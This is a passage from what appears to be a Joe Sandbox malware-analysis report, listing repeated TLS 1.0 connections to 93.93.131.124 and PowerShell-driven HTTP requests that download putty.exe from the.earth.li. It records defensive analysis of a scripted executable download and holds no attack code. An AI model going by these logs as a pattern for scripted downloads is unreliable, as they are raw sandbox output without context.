Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox ViewIP Address: 93.93.131.124 93.93.131.124
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49700 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49702 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49704 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49706 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49708 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49710 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49712 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49714 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49716 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49718 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49720 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49722 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49724 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49726 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49728 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49730 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49732 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49738 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49750 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49753 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49755 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49757 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49759 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49761 version: TLS 1.0
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
